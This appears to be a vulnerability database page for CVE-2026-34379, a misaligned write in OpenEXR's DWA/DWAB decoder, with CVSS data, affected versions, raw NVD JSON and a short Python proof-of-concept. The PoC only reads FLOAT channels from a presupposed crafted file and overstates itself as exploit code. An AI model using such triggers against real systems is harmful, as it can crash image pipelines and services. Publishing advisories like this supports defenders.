Security Vulnerability Report
中文
CVE-2026-34379 CVSS 7.1 HIGH

CVE-2026-34379

Published: 2026-04-06 16:16:35
Last Modified: 2026-04-07 19:04:50

Description

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a misaligned memory write vulnerability exists in LossyDctDecoder_execute() in src/lib/OpenEXRCore/internal_dwa_decoder.h:749. When decoding a DWA or DWAB-compressed EXR file containing a FLOAT-type channel, the decoder performs an in-place HALF→FLOAT conversion by casting an unaligned uint8_t * row pointer to float * and writing through it. Because the row buffer may not be 4-byte aligned, this constitutes undefined behavior under the C standard and crashes immediately on architectures that enforce alignment (ARM, RISC-V, etc.). On x86 it is silently tolerated at runtime but remains exploitable via compiler optimizations that assume aligned access. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:* - VULNERABLE
OpenEXR 3.2.0 - 3.2.6
OpenEXR 3.3.0 - 3.3.8
OpenEXR 3.4.0 - 3.4.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-34379 (OpenEXR Misaligned Memory Write) # This script demonstrates how to trigger the vulnerability by attempting to decode # a crafted EXR file containing DWA compressed FLOAT channels. # Note: Generating the specific malicious bitstream requires deep knowledge of the DWA format. # This PoC assumes you have a file 'exploit.exr' that triggers the path. import OpenEXR import Imath import sys def trigger_vulnerability(filepath): try: # Open the potentially malicious file exr_file = OpenEXR.InputFile(filepath) header = exr_file.header() print(f"[*] Processing file: {filepath}") print(f"[*] Header: {header}") # Attempt to read channels. If the file contains DWA compressed FLOAT data, # the vulnerable LossyDctDecoder_execute function will be called. # This triggers the misaligned write on architectures enforcing alignment. # Check for FLOAT channels which trigger the HALF->FLOAT conversion channels = header['channels'] for channel in channels: pt = channels[channel].type if pt == Imath.PixelType(Imath.PixelType.FLOAT): print(f"[*] Reading FLOAT channel: {channel}") data = exr_file.channel(channel, pt) print(f"[+] Read {len(data)} bytes. If on ARM/RISC-V, a crash may have occurred.") print("[!] Exploit execution finished. If no crash, target might be x86 or patched.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <malicious.exr>") else: trigger_vulnerability(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34379", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:35.233", "lastModified": "2026-04-07T19:04:50.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a misaligned memory write vulnerability exists in LossyDctDecoder_execute() in src/lib/OpenEXRCore/internal_dwa_decoder.h:749. When decoding a DWA or DWAB-compressed EXR file containing a FLOAT-type channel, the decoder performs an in-place HALF→FLOAT conversion by casting an unaligned uint8_t * row pointer to float * and writing through it. Because the row buffer may not be 4-byte aligned, this constitutes undefined behavior under the C standard and crashes immediately on architectures that enforce alignment (ARM, RISC-V, etc.). On x86 it is silently tolerated at runtime but remains exploitable via compiler optimizations that assume aligned access. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-704"}, {"lang": "en", "value": "CWE-787"}, {"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.7", "matchCriteriaId": "4E7AA082-2647-4AAD-9902-1E3873882A3D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.9", "matchCriteriaId": "E8321A2E-759A-4B1E-9AAF-0204791F4323"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.9", "matchCriteriaId": "94F2D271-636B-4E9E-A04B-40E635A59117"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.7", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.9", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.9", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-w88v-vqhq-5p24", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}